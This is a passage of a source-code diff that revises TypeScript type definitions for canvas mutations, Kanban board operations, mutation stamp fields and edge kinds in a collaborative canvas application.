- * The relay's host↔client mirror (src/main/remote) uses the same vocabulary and simply omits both.
++ * `pendingLaunch` as sent (@shared/node-exec `mutationTrustsLaunch`). It means something only on
++ * a node `upsert`; every other op may carry it (the reflector vouches per recipient, not per op)
++ * and ignores it.
+ * The legacy relay host's canvas mirror (`canvas:state` / `canvas:mutate`: src/main/remote/
+ * host-service.ts and canvas-sync.ts, which stayed there when the relay transport moved to
- * src/core/relay) uses the same vocabulary and simply omits them.
++ * src/core/relay) uses the same vocabulary and simply omits these stamps.
*/
export type CanvasMutation =
- | { op: 'upsert'; node: CanvasNodeState; src?: string; seq?: number; seen?: number }
- | { op: 'remove'; id: string; src?: string; seq?: number; seen?: number }
- | { op: 'upsert'; node: CanvasNodeState; src?: string; seq?: number; origin?: 'core' }
- | { op: 'remove'; id: string; src?: string; seq?: number; origin?: 'core' }
++ | { op: 'upsert'; node: CanvasNodeState; src?: string; seq?: number; seen?: number; origin?: 'core' }
++ | { op: 'remove'; id: string; src?: string; seq?: number; seen?: number; origin?: 'core' }
+ | {
+ op: 'edge-upsert'
+ kind: CanvasEdgeKind
+ edge: BridgeLink
+ src?: string
+ seq?: number
+ seen?: number
++ origin?: 'core'
++ }
++ | {
++ op: 'edge-remove'
++ kind: CanvasEdgeKind
++ id: string
++ src?: string
++ seq?: number
++ seen?: number
++ origin?: 'core'
+ }
- | { op: 'edge-remove'; kind: CanvasEdgeKind; id: string; src?: string; seq?: number; seen?: number }
+ | (KanbanOp & MutationStamp)
+
+/** The node and edge half of `CanvasMutation` — all a canvas SCENE diff (`diffToMutations`) ever
+ * produces. Their order keys are project-independent (node and edge ids are globally unique), so
+ * the ordering API accepts them without a project id; any value that MAY be a board op must name
+ * its project (see `mutationKey`). */
+export type SceneMutation = Exclude<CanvasMutation, { op: `kb-${string}` }>
+
+/** Stamp fields every canvas mutation may carry (see canvas-order): the sender tag, the reflector's
- * total order, and the sender's causal position. Documented on `CanvasMutation` above. */
++ * total order, the sender's causal position, and the core's per-recipient vouching (`origin`).
++ * Documented on `CanvasMutation` above. */
+export interface MutationStamp {
+ src?: string
+ seq?: number
+ seen?: number
++ origin?: 'core'
+}
+
+/**
+ * The board half of the `canvas:mut` vocabulary (@shared/kanban-ops): one op per board ITEM, so two
+ * people editing one board converge item by item instead of last-writer-wins on the whole `kanban`
+ * block. Keys live in one `k:` space (`kanbanOpKey`); only a column / label / view REMOVAL is a
+ * rule-4 deletion — `kb-card-remove` and `kb-meta-remove` set a card's placement / metadata to
+ * "none", an ordinary last-writer-wins value (`isKanbanDeletion`). `github` and `pullLinks` are
+ * outside the vocabulary and never cast.
+ */
+export type KanbanOp =
+ | { op: 'kb-column'; column: KanbanColumn }
+ | { op: 'kb-column-remove'; id: string }
+ | { op: 'kb-column-order'; ids: string[] }
+ | { op: 'kb-card'; assignment: KanbanAssignment }
+ | { op: 'kb-card-remove'; nodeId: string }
+ | { op: 'kb-meta'; meta: KanbanCardMeta }
+ | { op: 'kb-meta-remove'; nodeId: string }
+ | { op: 'kb-label'; label: KanbanLabel }
+ | { op: 'kb-label-remove'; id: string }
+ | { op: 'kb-label-order'; ids: string[] }
+ | { op: 'kb-view'; view: KanbanSavedView }
+ | { op: 'kb-view-remove'; id: string }
+
+/**
+ * Which persisted edge list a mutation addresses — `bridges` (context links, which an agent can
+ * actually READ through) or `ropes` (display-only "spawned by" lineage). They are two arrays on
+ * the project with two different meanings, so the kind travels with the mutation; the ORDER,
+ * however, is keyed on the edge id alone (canvas-order's `e:<id>`), because one id is one edge and
+ * two clients must never end up holding it as both a bridge and a rope. The apply agrees
+ * (`applyEdgeMutationToScene`: an upsert takes the id out of the other list, a remove drops it from
+ * both), and so does the diff (an id that moved lists casts its upsert and no remove).
+ */
+export type CanvasEdgeKind = 'bridge' | 'rope'
/** Canvas pan/zoom state. */
export interface Viewport {